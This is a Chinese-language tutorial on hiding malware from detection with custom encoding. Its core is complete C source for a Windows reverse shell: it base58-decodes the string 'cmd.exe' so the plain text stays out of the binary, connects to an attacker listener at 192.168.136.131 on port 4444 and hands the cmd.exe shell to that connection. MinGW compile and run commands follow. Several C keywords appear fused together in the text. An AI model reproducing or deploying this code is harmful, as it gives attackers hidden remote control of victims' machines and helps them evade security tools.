自定义加密算法

常见的哈希算法如Caesar, Base64, MurmurHash等已经被安全研究人员盯上了，经常使用这些算法作为特征定位恶意软件，因此最好使用自定义算法或不常见算法。

base58加密cmd.exe

#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

constchar * const ALPHABET =
"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
constchar ALPHABET_MAP[128] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1,  0,  1,  2,  3,  4,  5,  6,  7,  8, -1, -1, -1, -1, -1, -1,
-1,  9, 10, 11, 12, 13, 14, 15, 16, -1, 17, 18, 19, 20, 21, -1,
22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1, -1, -1,
-1, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, -1, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, -1, -1, -1, -1, -1
};

int base58encode(const unsigned char* input, int len, unsigned char result[]) {
unsignedchar digits[len * 137 / 100];
int digitslen = 1;
for (int i = 0; i < len; i++) {
    unsignedint carry = (unsignedint) input[i];
    for (int j = 0; j < digitslen; j++) {
      carry += (unsignedint) (digits[j]) << 8;
      digits[j] = (unsignedchar) (carry % 58);
      carry /= 58;
    }
    while (carry > 0) {
      digits[digitslen++] = (unsignedchar) (carry % 58);
      carry /= 58;
    }
  }
int resultlen = 0;
// leading zero bytes
for (; resultlen < len && input[resultlen] == 0;)
    result[resultlen++] = '1';
// reverse
for (int i = 0; i < digitslen; i++)
    result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
  result[digitslen + resultlen] = 0;
return digitslen + resultlen;
}

int base58decode(
  unsigned char const* input, int len, unsigned char *result) {
  result[0] = 0;
int resultlen = 1;
for (int i = 0; i < len; i++) {
    unsignedint carry = (unsignedint) ALPHABET_MAP[input[i]];
    for (int j = 0; j < resultlen; j++) {
      carry += (unsignedint) (result[j]) * 58;
      result[j] = (unsignedchar) (carry & 0xff);
      carry >>= 8;
    }
    while (carry > 0) {
      result[resultlen++] = (unsignedint) (carry & 0xff);
      carry >>= 8;
    }
  }

for (int i = 0; i < len && input[i] == '1'; i++)
    result[resultlen++] = 0;

for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);
    i >= z; i--) {
    int k = result[i];
    result[i] = result[resultlen - i - 1];
    result[resultlen - i - 1] = k;
  }
return resultlen;
}

int main() {  
unsignedchar encoded[] = "4mY3dzArmJ";
unsignedchar decoded[16];
int dlen = strlen(encoded);
base58decode(encoded, dlen, decoded);
printf("%s\n", decoded); // "cmd.exe"

  WSADATA wsaData;
  SOCKET wSock;
structsockaddr_in hax;
  STARTUPINFO sui;
  PROCESS_INFORMATION pi;

// listener ip, port on attacker's machine
char *ip = "192.168.136.131";
short port = 4444;

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

// start the decoded command with redirected streams
CreateProcess(NULL, decoded, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);

return0;
}

编译

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

运行

 .\hack.exe
cmd.exe